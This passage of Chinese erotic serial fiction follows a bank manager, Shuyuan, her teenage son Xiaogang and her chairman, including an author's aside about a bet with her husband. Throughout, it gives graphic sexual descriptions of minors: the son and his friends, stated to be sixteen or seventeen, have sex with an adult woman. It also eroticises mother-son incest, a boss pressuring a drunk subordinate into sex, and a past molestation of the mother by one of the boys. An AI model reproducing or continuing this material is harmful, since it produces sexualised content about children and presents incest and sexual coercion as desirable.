宴罢不能免俗的又转赴Club继续喝酒唱歌,此处气氛又是不同,陪酒小姐个个衣着暴露,作风大胆;平日道貌岸然的董事们,在酒精影响下,也是放浪形骇丑态百出,竟然当着淑媛面,就和小姐们搂抱抚摸;淑媛颇为尴尬,便打声招唿,先行告退。她这一走,场中诸人更是肆无忌惮,吻的吻、摸的摸,简直就像个人肉市场。

淑媛察觉小钢精神萎靡,成绩退步;便警告他,如果不自行节制,好好念书的话,以后便不准他近身。一方面淑媛升官以后应酬较多,经常晚归;另一方面小钢好胜心强,不甘成绩落于人后,尽量克制欲念,抽时间念书;因此俩人亲热的次数,无形中渐次减少,不再像初时一般,夜以继日的狂欢了。

银行要开办外汇交易业务,特指派淑媛陪同董事长赴新加坡考察一个星期,淑媛交代小钢要看紧门户,小心火烛;小钢笑道:“妈!又不是古时候,要你操那么多心!”说完便搂着淑媛亲吻。

淑媛及董事长抵达新加坡已是下午五点,下榻饭店稍事休息后,立即由新方人员带领安排晚间活动,不外是吃饭、听歌、看秀,一连串节目直忙到十点多,才返回饭店。

进入瑞士钟表专卖店,淑媛看上了个钻表,一问价钱,竟然要美金一万五千元,她虽然不是买不起,但却也狠不下心花这个钱,犹疑再三,只得怅然离去。

此时董事长说道:“饭店附设的泳池看起来满不错的,不如去泳装店看看,买两件泳衣,晚上也好到泳池游游泳。”淑媛正有此意,当下便欣然前往。

“李经理,这怎么行?我已经跟几个新加坡朋友吹过牛了,说我们李经理身段好,泳技高,人长得又漂亮;你不去,我不是下不了台?好了啦!就算董事长拜托你,好不好?快一点,朋友都来了。”

淑媛给董事长一说只得硬着头皮,穿着水蓝色的泳衣,来到了泳池。只见董事长伴着两男两女在池边附设的Coffeeshop聊天,五人均着泳装,两名女士的泳衣款式甚至于比她还暴露,淑媛心中不由稍安。

董事长坐在池边,痴痴望着美人鱼般的淑媛,心中实是搔痒难耐;他原本欣赏淑媛高雅端庄的气质,与温婉娴静的个性;但今日一见淑媛泳装模样,一股强烈的肉欲诱惑,立即取代了他心中的性灵美感。

淑媛的胴体简直可说是毫无瑕疵,完美无缺。她既不像时下一般少女的那般孅瘦,也不像欧美肉弹般的局部突出,她整个身体孅浓合度,真是增一分太肥,减一分又太瘦,东方女性美的极致,彻头彻尾的呈现在她的身上。

(二)

董事长一进门,就递给淑媛一个包装精美的小盒子,并笑呵呵道:“上回升官没送礼物,现在补一个给你。”

淑媛赶紧道谢,打开一看,竟然是白天她喜欢却舍不得买的那只钻表,她愣了会慌忙道:“董事长,我不能收,这太贵重了。”

淑媛拗不过董事长只好让他戴上,自己看看也觉得相当满意,不禁对董事长多了一份好感。

董事长见她收下,很是高兴,叫客房服务送上两瓶香槟,俩人就在房中喝了起来。

淑媛刚收了大礼,不免对董事长有所迁就,原本的戒心,也在酒精侵蚀下,消失的无影无踪。

董事长是个花丛老手,他一方面以身份年龄为掩护,一方面用诙谐另类的话语挑逗撩拨,淑媛逐渐被他的话题所吸引,而董事长的身体也愈来靠愈近她。

淑媛虽不是三姑六婆的个性,但对这类的八卦消息倒也满有兴趣,因此听得津津有味;董事长话锋一转道:“不少人说,我和你有暧昧关系,所以才陞你,其实啊……”

说到这他忽然停了下来,淑媛不禁问到:“其实什么吗?”

董事长色咪咪的盯着她道:“其实啊!我倒希望他们说的话,都是真的。”

淑媛一来心防已经松懈,二来受酒精影响有些晕淘淘的,三来毕竟是长官部属关系也不好太过拂逆,因此只是身子扭了扭,并没有过分强烈的抗拒。董事长见状,得寸进尺的将手放上了她的大腿,嘴唇也贴近了她洁白的颈项。

淑媛没想到像他这种身份地位的人,也会作出轻薄的举动,一时之间竟然愣住了,等到回过神来,想要起身闪躲,董事长已含住她的耳垂,吸吮了起来。

她感觉全身懒洋洋、软棉棉的,就像受到爱抚一般,逐渐荡漾在氾滥的春潮之中。

董事长悄悄的拉开淑媛和服的系带,手也顺着她滑润的大腿,游移至芳草凄凄,已形泛潮的溪谷。

相较于董事长瘦小的身躯,淑媛是相对高大的,如果她尽力反抗,董事长是很难得逞的。

但她也和一般的女性一样,赤裸身体的敏感部位,只要遭到男人触摸抚弄,短时间内,自然就会失去反抗的意志与能力。

董事长细腻花俏的挑情,完全不同于小钢的粗犷狂野,但那种丝丝缕缕的缠绵滋味,却远比直接了当的侵袭,还来得让人神魂颠倒。

淑媛蜷曲着身体,软弱无力的抗拒着,但体内炽烈的欲火,却已被悄悄的点燃。

淑媛惊讶的发现,自己的身体竟然是如此的敏感;董事长那两撇骚胡子,和那根灵巧的舌头,构成挑起她欲情的铁三角。当舌头舔吮乳头的同时,胡子也在乳晕部位刷来刷去,那种痒中带酥的感觉,使她不由自主的颤栗,也益发的渴望男人的抚慰。

纠缠滚动之间,俩人均跌落厚厚的地毯上,和服也脱离了他们的身体。淑媛几乎放弃了抵抗,陶醉在董事长精湛的爱抚技巧中。

此时,董事长在她潮湿的腿裆中,施展他的口舌功夫,那种细致、轻巧、柔顺,旁敲侧击的舔吮,使得淑媛兴奋的有如发情的雌兽。

她嫩白丰盈的双腿,逐渐向左右分开,下体也不自觉得向上挺耸,以迎合那灵活刁钻的舌头。

理智已沉沉的睡去,感官的刺激,才是最大的渴望。

男人占有女人的具体表征,终于完成了,董事长进入了淑媛的体内。

他趴伏在淑媛棉软的身体上,静静的享受那股特殊的胜利滋味;像他这种年龄的男人,肉体的冲刺已不那么重要,精神上的餍足才是最大的愉悦。

但狼虎之年的淑媛可大不相同,她的性欲已被挑起,如不给予适当的回应,那不是像要她命一般的难过?

愉悦的感觉慢慢的累积,淑媛也眉头轻蹙的哼了起来,董事长的肉棒虽不及小钢的粗壮巨大,但丰富经验所训练出的抽插技巧,却足以弥补天生的不足。

他慢条斯理,不急不徐的出入淑媛湿滑的肉穴,挑逗得淑媛,婉转娇啼,欲情难耐。

淑媛感觉,只要董事长抽动速度加快,力道加强,自己很快即将到达高潮;但偏偏董事长就是慢吞吞在那搅和。也不知他是故意的?还是真的没体力?

她突地翻身而起,一把就将董事长推了个四仰八叉,董事长吓了一跳,还没反应过来,淑媛已跨身而上,并且准确的将那老成持重的肉棒,纳入了穴中。

仰卧在下的董事长,见平日雍容端庄的淑媛,情欲勃发后,媚浪的神态,不禁加倍的兴奋;但老弟弟那传来的阵阵酥麻,却也使他有不堪支撑,行将泄精的感觉。

她身子急剧哆嗦了两下,长长的嘘了口气,便喘嘘嘘的趴了下来。

几乎同时,董事长也兴奋的将他的老人精,涓滴归公,尽数射入了淑媛的体内。

老于此道的董事长,温柔的抚摸淑媛的秀发,并轻声的在她耳际,说些奉承赞美的话语,淑媛对于既成的事实,虽不满意,但也只能勉强的接受。

休息片刻,淑媛起身洗澡,董事长死皮赖脸的跟了进去。

次日,二人竟睡到午后三点,方才起床。

此后数日,董事长简直如在天堂,白天两人一块逛街、购物,游览;晚上则搂抱淑媛尽情取乐。

快意之余,他真想在新加坡也开家分行,干脆不回台湾了。

淑媛清理行李,发现收获不少,除了钻表、钻戒外,还多了两条珍珠项炼,一副翡翠胸针,当然这都是董事长赠送的礼物。

她虽然不是爱慕虚荣的女人,但对于这些昂贵的珠宝手饰,却也打从内心,产生一种拥有的喜悦感。

在不知不觉中,淑媛竟对董事长有了一种微妙的依赖感,似乎只要有他在,一切事情都不用自己操心。

(三)

小钢一个人在家很是无聊,习惯性的便上线浏览色情网站;他逛到交友区,发现许多征求一夜情的留言。他抱着好玩的心理,挑了几个看来不错的对象,化名留下了E-mail,没想到竟然隔天就收到了回信,约他见面。

见了面小钢大为惊讶对方的年轻与艳丽,最不可思议的是她的身材体态,竟像极了母亲。小钢到底年轻,因此有些羞涩;对方却一副泰然自若的模样,亲切的招唿着他,并且告诉他,以后就叫她大姐,她则称唿小钢为小弟,如此既不引人注意,外貌上也颇相当。

浴室门根本就没关,小钢坐在沙发上只要歪个头,就可以清清楚楚看见大姐豪放的浴姿;如此虽然少了一份偷偷摸摸、提心吊胆的刺激,但他仍是看得津津有味,性趣盎然。

大姐的肌肤身材都是上上之选,赤裸的身体就像个标准的性爱机器;腰细、腿长,白嫩嫩的屁股又圆又翘;下体的阴毛也是乌黑浓密,又多又长。胸前豪乳硕大、柔软、白晢,但奶头却特别的黑,就像葡萄干一般的颜色。整体而言,她全身散发出一股浓浓的色欲诱惑,给人的印象,就是不折不扣的──淫荡。

大姐的动作很快,一会就洗好了;她一面擦拭身体,一面叫道:“小弟,快一点!该你了。”说着赤裸裸的就走了出来。小钢进了浴室,三两下也就草草了事;他挺着翘的半天高的粗大阳具,兴冲冲的走向大姐。

在风尘中打滚多年的她,年余前倦了,正好一位恩客要包养她,于是她也就半推半就的答应了。过了半年多的安稳日子,她不免有些静极思动;这恩客虽说在物质上能充分满足她的需要,但在其它方面可就差的多了。

因此她也就背着恩客,在外头交起男朋友来;但她看得上的,人家不见得要她;挑三捡四之下,却老是碰上一些专吃软饭的小白脸。上了几次当,她也学乖了,不过就是男人吗!还不如找涉世未深的小男生,又容易掌握,精力又旺盛,一举两得,何乐而不为?

小钢虽非花丛老手,但到底也和淑媛有过无数次的经验,因此吮舔抚摸之间也是有模有样,不像个没来历的;大姐对此大为惊讶,不禁频频追问小钢,如何有此熟练技巧。小钢当然不会笨的告诉她,只推说是从色情网站上学来的;大姐虽然不信,但也不再追问,她要小钢躺着别动,也让她表现表现。

大姐见他那副猴急的模样,突地曲指在他龟头上一弹,小钢吃痛“唉”的一声,顿时欲火大减。他怒道:“你搞什么嘛!怎么弹人家那里,痛死人了啦!”大姐笑咪咪的搔着他的阴囊说道:“谁叫你一副急吼吼的样子,姐姐还没准备好嘛!”说完又在小钢敏感部位挑逗了起来,小钢无奈只得也在她身上乱摸乱捏一气,以发泄满溢的欲情。

小钢实在忍不住了,几乎要泄了出来,此时大姐忽然没头没脑的问到:“小弟,大姐已经想开了,你想通了吗?”小钢给她一问,不禁愣住了,他疑惑的问道:“想通了什么东西?”大姐往床上一躺,两腿分得开开的笑道:“你还真笨耶!男人想通,女人想开,当然就是作爱,你还愣在那干嘛?还不上来?”

小钢翻身而起,扶着肿胀欲裂的阳具,对着大姐湿漉漉的阴户,猛的一下就狠狠的捅了进去,大姐痛的唉唉直叫;小钢见她咬牙切齿的骚样,不禁有着一种快意恩仇的报复快感。他心想:“谁叫你刚才一直吊我味口,这下子非把你给肏翻了不可!”

这大姐也是个天才,她嘴里嘘嘘叨叨的,一直说个不停,简直就是性爱现场播报员。

“呕呜!你怎么那么厉害啊?戳得人家好舒服呕!唉哟!狠心的小弟!你要戳死姐姐啊?啊呀!……不行啦……”

经过一夜缠绵,俩人已成为无所不谈的“炮友”;小钢不禁再三追问大姐的真名实姓。

这大姐也是奇怪,平日举止放浪形骇,作爱时更是毫无禁忌很放得开,但一说到姓名,反倒扭扭捏捏,一副小家子气。小钢缠了半天,她才面露尴尬的道:“我最讨厌的就是自己的名字,好土呕!我告诉你,你可不准笑喔!……我……我叫……蔡美丽啦!”

蔡美丽看见床头柜上,淑媛的相片,不禁赞道!“哇!你妈妈好漂亮啊!”

小钢听她赞美母亲,便也得意的道:“当然喽!也不看看是谁的妈妈!”蔡美丽白了他一眼道:“看你色咪咪的样子,平常一定常常偷看你妈妈洗澡。哼!我说的对不对?”小钢吃了一惊,脸也红了起来,心中不禁暗想,这大姐还真是会猜呢!

蔡美丽打完电话又踱了进来,她脸上露出揶揄的神色,轻佻的对小钢道:“你妈妈还真是不简单,很优秀呢!”小钢那听得出,她这意在言外,另有所指的话语;当下顺口便接了一句“你现在才知道啊!”

小钢不疑有他,夸耀道:“他妈的,昨晚又弄了三炮,妈的,脚都软了。”大头一听惊道:“哇塞!你老妈那么饥渴啊!”小钢一听,知道他误会了,忙说道:“你妈个头啦!谁说跟我老妈?我是跟一个网友啦!”大头半信半疑的道:“你他妈的,什么时候有这么棒的网友?怎么也不通报一下?”

土豆沮丧的道:“干!这下子我们可都没子望了,唉!我漂亮性感的师母!我真是想死你啦!”俩人听了笑成一团,围着土豆猛捶,三人闹了一阵,又愉快的想点子,找乐子去了。

(四)

**********************************************************************

其实当初贴文本属偶然,只因三八老公爱逛情色网站,且老是要大姐姐也一块赏读妙文。大姐姐心想如此文章,自个也写得出;而老公一旁揶揄讪笑,一副瞧不起人的模样,更坚定了尝试的决心。于是乎便和老公打赌,若是得票数破百(旧版时期),老公帮忙洗碗,如果过了一百五十,则外加擦地板。结果托各位的福,三八老公如今家事全包,并且成为大姐姐的死忠读者,对大姐姐简直佩服的五体投地。这可真是意想不到的,贴文最佳附属赠品。

回应中有些触及创作原则及技巧,实非三言两语能说得清楚,因此在此暂不作答。至于要求改编红楼梦及卫斯理传奇部分;前者网上已有诸多红学好手正进行中,实不便打横切入;后者如有空,倒是愿意试试。又有言及,遣词用语要白话些;其实大姐姐自认,写的正是道道地地的白话文,如若再白下去,恐怕就要流于村俗了。

**********************************************************************

淑媛发觉小钢精神萎靡不振,经常晚归,也很少再纠缠自己,心中不禁有些奇怪。她自从回来后,一个星期最少有两个晚上要陪董事长,因此也时常要到十一、二点才能到家。若是从前,小钢定是抱怨连连,但如今却一反常态的不闻不问。淑媛对此情况虽感怀疑,但因自己心中有鬼,因此也不敢过度要求小钢;母子二人如胶似漆的亲密关系,竟渐渐的淡了下来。

他原先的最爱蔡美丽,不知从哪得来的消息,竟然一个电话打到了新加坡,一口就咬定他和淑媛在一起;吓得他慌忙许诺,赔不是,弄了半天,才封住她的口。当然回国后第一件事,就是安抚蔡美丽,以免她到处嚷嚷坏事。好在这女人世故得很,醋劲也不大;只要给钱,什么事都好商量。

但她对于这取代自己地位的女人──小情人的母亲,也不禁产生极大的好奇心;为什么一向花心的林董事长,会对她如此着迷?林董回国十多天,除了给钱安抚她之外,竟然一次也没和她亲热。虽然她自己也是心系小钢,根本不想和林董亲热;但潜意识里仍不免产生妒嫉的感觉──难道这个女人,真的比自己强?

由于小钢经常调侃她的奶头黝黑,有一回她在恼怒之下,不禁也顶了一句:“哼!别光说我,说不定你老妈的奶头比我还要黑!”小钢不假思索的道:“屁啦!我老妈的奶头是粉红色的,比你的好看多了。”

蔡美丽一听,直接的反应就是:“你怎么知道?”小钢警觉失言,顿面红耳赤,纳纳的不发一语;看在蔡美丽眼中,不禁更添狐疑。

这日小钢和死党大头、麻子、土豆聚在一块,三人不约而同的询问,他那风骚神秘的网友。他脑中灵光一闪,心想:“不妨让几个死党也尝尝大姐的滋味,如此一来,自己也可减轻不少压力。嗯!独乐乐不如众乐乐,自己一个人暗爽,那比得上大伙共同取乐?”

精疲力尽的小钢,头枕在蔡美丽嫩白的大腿上,有气无力的道:“当然吃醋啦!可是你每天都要奶头美容三次,我又不是超人,哪来那么多豆浆给你涂抹?我那几个同学精力旺盛得很,大家一起供应豆浆,不是比我一个人要强得多?”

蔡美丽闻言,心中窃喜,她暗想:“十六、七岁的小伙子,又单纯,体力又好,若不是小钢帮忙,自己到哪去找?如果运气好,说不定还可以吃到原装童子鸡;哇塞!那不是赚翻了……”她心中虽乐,脸上却装出一副为难的模样。

小钢慷慨的邀请三个死党一同共襄盛举,三人雀跃欣喜之际,也不禁有些怀疑。大头首先就提出疑问:“小钢,你那个网友是不是长得既安全又爱国?要不然,你怎么会这么大方?”小钢笑咪咪的道:“你们不是很欣赏我老妈吗?我那网友跟我老妈长得很像!”

蔡美丽拿出过去在职场上的那套功夫,亲切的招待几个年轻小伙子。她眼波流转、媚劲四射,大头、土豆、麻子三人均觉她对自己特别垂青,心中禁不住痒兮兮、酥麻麻的,跃跃欲试。蔡美丽见三人神魂颠倒的模样,更是故作娇羞矜持状,不时假意偷瞄三人一眼。三人意乱情迷之下,均觉自己似乎陷入了情网,心中软棉棉、柔唿唿的,竟产生谈恋爱时所特有的温馨感觉。

蔡美丽与三人虽都心照不宣,但小钢一走,双方仍不免有些尴尬。但她到底是老于世故,生张熟魏磨练惯了的行家,因此在短暂静默后,立即便满脸含笑,妙语如珠的胡扯了起来。

“唉哟!这小钢也真是的,非要我教你们什么性教育,我又不是老师,哪里会教?我看大家干脆先脱了衣服,互相认识一下彼此的身体,你们说好不好?”她一本正经的边说边褪下衣裤,并且一叠声的催促三人。

三人你看我、我看你,犹豫了一会,便也爽快的脱了个精光。四人相互打量之下,心中均暗暗叫好,也不禁更加期待即将来临的下一步──实体健康教育。

蔡美丽口中侃侃而谈,身体也随着讲解部位的不同而改变姿势。她一会张开雪白的大腿,掰开娇嫩的阴户;一会高高的挺起胸部,挤压白嫩的大奶。三人看得面红耳赤,肿胀欲裂的弟弟,也流出了透明的口水。

她见三个小男生已是欲火焚身,按捺不住。便仰卧在茶几上,妩媚的说道:“来!现在开始实习了,你们尽管刺激大姐的性感带,看看自己是不是能掌握要领?唉哟!麦假仙啦(台语发音)!卡紧啦!”

大头抢占了胸部,他死命的揉搓着那嫩白的大奶,并大力的吸吮那樱桃般的奶头。麻子攻占了中枢要地,他掰开那鲜嫩的肉缝,凑上嘴便卖力的舔呧。土豆则是不改所好,他握着蔡美丽丰盈白晢的脚掌,又嗅、又亲、又吮、又咬,简直就像饿狗吃肉骨头一般。

她赤裸的身躯不停的扭动,嫩滑的胴体也起了阵阵的波涛。她兴奋的伸出双手,分别握住土豆及大头怒张的阳具,熟练的套弄了起来。埋头苦干的麻子,此时只恨蔡美丽没有生出第三只手;他站起身扶着粗长的阳具,对准蔡美丽湿淋淋的阴户,“噗”的一下,就一杆进洞,来了个有生以来,最舒爽、最愉快的一次自力救济。

(五)

她此刻虽然是以一敌三,但却是胜券在握,游刃有余。麻子本就兴奋得过了头,一旦进入穴内,被那温湿的嫩肉一裹一吸,还来不及抽动,已是鸣金收兵,一泄如注。大头、土豆情况也好不到哪去;蔡美丽棉软的小手,套弄灵活,缓急有序,兼之淫声浪语又极尽催情之效,因此没几个回合,二人也是狂喷急泄,顿时了帐。

第一回合结束,蔡美丽大获全胜,痛快的吃了三只童子鸡。

她得意的翻身而起娇媚的道:“唉哟!身上黏兮兮的,难过死了;大姐先去洗个澡,你们可别偷看呕!”这欲擒故纵的技俩果然有效,三人一待她进入浴室后,立即趴伏门边专心窥看。自导自演,大秀美人出浴的蔡美丽,内心之窃喜较之伏地偷看的三人,实有过之而无不及。

蔡美丽经由小钢,了解到青少年的特性;他们初次虽然无法持久,但再度勃发后,却是勇冠三军,锐不可当。三人飞快的洗了个战斗澡,出来之后,果然已是雄风再现,目露精光。以逸待劳的蔡美丽,目睹三人雄赳赳、气昂昂的彪悍模样,心中不禁一凛,她暗想:“此番可不能轻敌,必须先杀杀他们的锐气,否则三人齐上,一个搞不好,可要乐极生悲了!”

大头只觉温暖的小嘴紧密的吮吮着阳具,灵巧的香舌不停的舔呧着龟头,那股酥麻酸痒的滋味,简直令人飘飘欲仙。不一会功夫,大头突地臀部急耸,哼哼唧唧了起来。

此时只见蔡美丽的嘴角,溢出些许黏稠的白浆,显然大头已舒服得缴械投降了。

原来土豆自从上回猥亵淑媛之后,对于淑媛的柔嫩美足,便恋恋难忘。所谓‘曾经沧海难为水,除却巫山不是云’,蔡美丽的足部,虽说也是丰盈白晢,但在土豆眼中,却总觉得远远不及淑媛。况且以目前的姿态方式,他根本无法接触到蔡美丽的足部,因此虽然蔡美丽大展口舌之技,土豆硬是“自家人送礼”──不泄(谢)。

蔡美丽在讶异之余,却也产生了一种奇怪的感觉;那种感觉,痒痒酥酥,若有似无。丝丝缕缕的循着足趾,直往上钻;连带的也牵动她的下阴深处,起了阵阵的抽搐与痉挛。

泊泊的淫水涌了出来,浸湿了花瓣;她忽然发现,自己竟在不知不觉中,失去了掌握局势的主动权。土豆的舔吮轻咬,激起她极度的渴望,她逐渐荡漾在氾滥的春潮中,只盼望能尽快的获得男人的抚慰。

欲情勃发的蔡美丽,望着那青筋毕露、粗大健壮的阳具,不禁心痒难耐;她探手一握,蜂腰一挺,只听“噗吱”一声,十六岁的少阳、三十岁的老阴,已紧密的合为一体。棒槌挤压得那两片嫩肉,红噗噗的内外翻动;一旁观摩学习的大头、麻子二人,看得又激动又羡慕,眼珠子险些都蹦了出来。

蔡美丽觉得既充实、又舒畅,不禁愉悦得浪叫了起来:“啊呀!我的天啊!快一点动啊!……唉哟!用力啊!好舒服呕!……你们两个……快过来……帮忙啊!”一旁的大头、麻子早就跃跃欲试,当下二话不说,马上各就各位,手口并用,全力以赴了起来。

土豆完事之后,麻子随即补位,蔡美丽旋干转坤,来了个倒浇腊烛。她跨坐上方,来回挺耸;白嫩的大奶,丰润的臀部,左右摇晃,上下摆动,麻子舒服的挤眉弄眼,唉唉直叫;大头冲动的由后方抱住蔡美丽,阳具直往那软绵绵的屁股上顶。一会,麻子爽毙了,翻身让贤;大头立即搂着蔡美丽,由后方来了个犬式性交。如此,你来我往,此上彼下,战况激烈,自不待言。

其时,晚风送爽,夜色昏暗,忽而一轮明月穿透乌云,映照海面炫放异彩,四人心内顿有所感。此时蔡美丽轻轻哼起‘淡水河边’这首老歌,哀怨优美的旋律,萦回荡漾,土豆、麻子、大头三人心中,不禁感染到一丝淡淡的惆怅……

(六)

算起来,他已有将近两个月没和淑媛亲热了;这一方面,是他和蔡美丽打得火热,根本就抽不出空;另一方面,也因为淑媛经常应酬晚归,两人几乎碰不到面。如今知道淑媛正在洗澡,他不禁蹑手蹑脚的,趴伏门边偷窥。

淑媛浴罢,裸身而出;有备而待的小钢,早已脱的赤条条的,守在门边。她一出来,小钢立刻一把拥住了她,淑媛大吃一惊,还没叫出声,小钢已用热吻,封住了她的樱唇。

年轻浓烈熟悉的男性体味,猛地冲入鼻端,淑媛浑身颤栗,不由得瘫软在小钢的怀里。

淑媛在小钢炯炯目光下,突地感到异样的娇羞,她翻身趴伏,避免与小钢直视,但体内深处,原始的本能,却逐渐的蕴酿发酵。她近来虽经常和董事长腻在一块,但董事长的专长,只在于口舌之间,至于冲锋陷阵的实战枪戟,却远远不符她的实际需要。严格来说,董事长只会点火,但却缺乏灭火的本领。

好几次她忍耐不住,想要主动找小钢退火,但却又在母亲的矜持心态下,强行压抑了下来。如今全身赤裸,被年轻的小钢一抱,她一切的矜持顾虑,在瞬间已然彻底的瓦解。

她体内似乎有另一个淑媛,正在煽惑怂恿:“你还等什么?小钢的肉棒又粗又长,你难道忘了他的滋味?你娇嫩的小穴,不是已湿了吗?张开你的腿,让他进来吧!”

原来董事长施展口舌之技时,股沟部位是他的最爱之一;淑媛是个完美主义者,不愿以瑕疵示人,因而每天早晚,均以欧蕾润肤霜涂抹保养,至于阴毛的修剪,当然也是在同样的心态下,所作的改变。这欧蕾润肤霜涂脸有效,用在此处一样具有奇功,董事长因而舔唆愈勤,更加爱不释口。在欧蕾及口舌滋润下,淑媛此处,竟较一般妇女的脸蛋,还要来得娇柔细嫩!

她觉得小钢的双手似乎焕然一新,充满了和以往截然不同的挑逗能力;无论是触摸的部位,亦或是力道的轻重缓急,在在都出乎意料的恰到好处,完全不逊于身经百战的董事长。她舒服的全身颤栗,也自然流露出春情荡漾的媚态。

当舌尖轻巧的挑逗菊花蕾时,敏感的肛门立刻起了阵阵的抽搐。极度的骚痒迅速的蔓延,淑媛耐不住了,她屁股一扭,翻过身来,紧紧的搂住了小钢。当小钢进入体内的刹那,淑媛“啊”的一声轻叹,心中立时洋溢起一股幸福的感觉。无比的充实感,填补了女人原始的空虚,淑媛飘飘然的想着:“我的天啊!这才算是真正的作爱啊!”

淑媛感觉自己似乎轻飘飘的飞了起来,极端的愉悦使她忍不住哼出声来。那种压抑不住,从鼻端喉间溢出的呻吟,听在小钢耳里,觉得比蔡美丽那种夸张式的浪叫,更加来得蛊惑迷人。淑媛的阴道开始阵阵的收缩,小钢立刻识趣的猛插两下,既而将阳具深深的顶住淑媛的子宫;当淑媛进入高潮之际,紧抵子宫的龟头,也狂怒的喷洒出浓浓的白浆。俩人颤抖抽搐,赤裸紧拥,醺然陶然的,便进入了极乐之域。

此时容光焕发的淑媛,穿着薄薄的浴袍走了进来。

“妈!糟糕了!我上课来不及了!……咦!…妈!你怎么没去上班?”小钢一边着急的问道,一边慌忙的起身穿衣。

淑媛见他那副紧张兮兮的模样,不禁笑道:“你别忙了,先去洗个澡吧!妈已经替你请好假了。”

小钢梳洗完毕吃了早点,精神又是一振;他望着眉梢眼角尽是春意的淑媛,开口道:“妈,银行不是很忙吗?你怎么也请假?”

小钢由淑媛的表情声调中,感觉到浓浓的欲情,当下接口道:“妈,你说还不如在家里怎样?”他边说边向淑媛挨近,双手也不老实了起来。

淑媛使劲在他手上拍了一下,似怒非怒的道:“唉呀……你啊!……”一转身就走向卧室。

穿窗而入的阳光,透过薄薄的浴袍,映出淑媛袍内,赤裸玲珑的身躯;小钢盯着那左右扭动,浑圆嫩滑的臀部,立时起了激昂的生理反应,他迅快的尾随而入,并顺手带上了房门……

(七)

淑媛小钢母子,热情复燃之下,竟有小别胜新婚的感觉。由于内需增加,外销自然就相对的减少。蔡美丽有三个年轻小伙子补位,因此并无特殊感受。但对董事长而言,却有顿失所爱,寂寞空虚之憾。

接连两个礼拜,淑媛皆以辅导儿子功课为由,拒绝了他的邀约。他心痒难耐之下,只得假藉业务考察,到淑媛的办公室晃荡。淑媛穿着银行制服,分外显得端庄大方;肉色的丝袜,及膝的窄裙,衬托着修长均匀的美腿,真是说不出的令人遐思。董事长不看还好,一看之下心猿意马,只觉再也无法忍耐。

淑媛紧张了,她清楚了解办公室的状况,这小办公室虽说是经理专用,但随时会有员工进来请示业务,如果一个不巧让人撞见,今后自己要如何作人?思想至此,她心中更是着急,但董事长此时,却也将手伸进了内裤,触摸到她潮湿的阴户。

淑媛赤裸迷人的下体,彻头彻尾的呈现。董事长见那白嫩嫩的屁股下方,紧夹着湿润微开的阴户;那鲜红的肉穴,若隐若现,且随着手指的触摸,缓缓的蠕动。董事长只觉忍无可忍,他飞快的站起身来,掏出硬朗的弟弟,一挺腰,便顶了上去。

他强忍欲火,哀求的说道:“那今天晚上……”淑媛不待他说完,便打断他道:“好啦!好啦!你快出去啦!”董事长吃她一顿抢白,不但不以为忤,反倒笑逐颜开的道:“唉哟!我的观世音菩萨!只要你答应,我什么都听你的。”说罢,便装模作样,道貌岸然的,踱出了经理办公室。

董事长平日虽一副尊贵的模样,但在淑媛责骂下,却是唯唯诺诺,屁也不敢吭。已对淑媛痴迷的他,清楚了解到,自己虽贵为董事长,但一旦上了床,可就要看淑媛的脸色了。要是淑媛不配合,那自己的人生还有什么乐趣?

至于像蔡美丽那种长得漂亮,狐媚轻佻的风尘女子,却丝毫引不起,他这方面的兴趣。

过去他曾多次要求淑媛对其施虐,但都为淑媛拒绝。这回淑媛受了大礼,心中急思回报,因此便投其所好,尝试了一下。没想到效果良好,董事长竟乐成这副德性。淑媛惊讶之余,心中不禁大骂:“真是变态!贱骨头!”

淑媛打定主意,当下便凶巴巴的道:“我先去洗个澡,你给我乖乖的坐着,老实点!你要是听话,待会洗好了,就让你好好过过瘾。”董事长闻言,乐得像个猴崽子一样,抓耳挠腮,张着嘴直笑;好在他不真是猴子,否则屁股后面那根骚尾巴,铁定翘得老高。

淑媛变装完毕,大声的唿喝董事长;董事长兴奋的走进来,一眼瞧见淑媛,顿时有如遭受雷击。他全身颤抖,发出低沉的呻吟,赤红的双眼也死盯着淑媛,流露出极端的色欲渴望。淑媛此时在他眼里,简直就是梦寐以求的暴虐女王;他不由自主的跪了下来,并且卑微的请求女王,给予荣耀的惩罚。

玉柱顶端,黑色的三角裤,紧绷在丰满圆润的臀部之上,周遭的肌肤,被衬托得雪样的洁白。浴后的女王,散发出如兰似芷的异样芬芳;他在女王炫目的光彩下,不禁激动的弦然欲泣。他再度卑微的请求女王,允许他褪去遮体的短裤,以便用他原始的面貌向女王致上最高的敬意,女王凛然不可侵犯的望了望他,便恩准了他的请求。

淑媛见董事长全身赤裸,无限崇拜的趴伏在地,心中不由自主的泛起一股怪异的感觉。她挥动手中的苍蝇拍“啪”的一声,就打在董事长光熘熘的屁股上,董事长“啊”的长叹了一声,面上的表情,既欣喜又陶醉,简直说不出的愉快。

淑媛端庄俏丽的面庞,隐约之间显露出一种乐在其中的表情。她娇声斥骂,并连续以苍蝇拍击打赤裸的董事长;董事长如痴如醉,兴奋的不停颤抖,口中也发出呜呜的兽性低鸣。淑媛看着如犬趴伏的董事长,不觉有了新的点子。

坐在床头柜上的淑媛,一面享受足部传来的搔痒快感,一面挥动手中的苍蝇拍,击打着董事长。从所未有的怪异经验,带来从所未有的异样刺激,虽然尚未实际接触,但她已兴奋的全身酥软,春水直流。

在阵阵搔痒刺激下,淑媛几乎濒临了高潮;她嫩白的大腿,不自觉的张了开来,灵巧的手指,也悄悄伸进了三角裤中。她空着的那只玉足,挑逗的拨弄着董事长怒耸的阳具,纤细嫩滑的脚趾,也在肉棒与阴囊间游移,浓郁无比的淫秽色欲,弥漫在春意无边的套房。

隔着三角裤舔呧,另有一番特殊的滋味。湿透的窄小三角裤在口舌的推挤之下,形成细绳般的布条,深深的嵌入嫩滑的肉缝。随着身躯的扭动,由肛门、会阴、阴户、阴唇、阴核,一路而上,形成一条畅通的敏感网络。细绳般的布条对淑媛的下体,产生了全面性的刺激。

淑媛突地大力一推,董事长顿时倒地,她下了床头柜,厉声喝道:“你给我过来!…扯掉我的衣服!……狠狠的强奸我!”董事长动作稍慢,她上去就是一脚,踹得董事长唉唉直叫。

(八)

瘦小的董事长,恶狠狠的扑向高挑丰满的淑媛,那股气势还真像是个暴虐的强奸犯,淑媛看了心中不禁有些害怕。董事长相当的投入,因此动作显得格外的粗鲁下流。他奋力的掰开淑媛曲起的嫩白大腿,直截了当的就攻击淑媛的阴户。身材悬殊的二人,赤裸纠缠,画面显得极端的淫秽怪异。

